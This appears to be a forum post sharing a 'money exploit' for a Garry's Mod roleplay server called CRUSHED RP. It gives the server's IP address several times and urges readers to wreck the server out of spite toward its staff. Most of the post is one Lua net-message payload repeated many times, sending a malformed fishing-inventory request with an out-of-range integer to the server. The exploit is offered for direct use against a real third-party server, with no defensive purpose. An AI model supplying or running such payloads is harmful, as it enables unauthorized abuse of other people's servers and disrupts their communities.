Money Exploit on CRUSHED RP
This is a money exploit on a pretty big server, also i fucking hate the staff here :) go fuck up the server.
(Be sure to use a in-game lua runner and have fun)
208.103.169.21:27015
208.103.169.21:27015
208.103.169.21:27015
208.103.169.21:27015
208.103.169.21:27015
Code:
net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()net.Start("FISHINGMOD_INVENTORY")
net.WriteTable({NAME="Worm",action=3,})
net.WriteInt(-1e+37, 8)
net.SendToServer()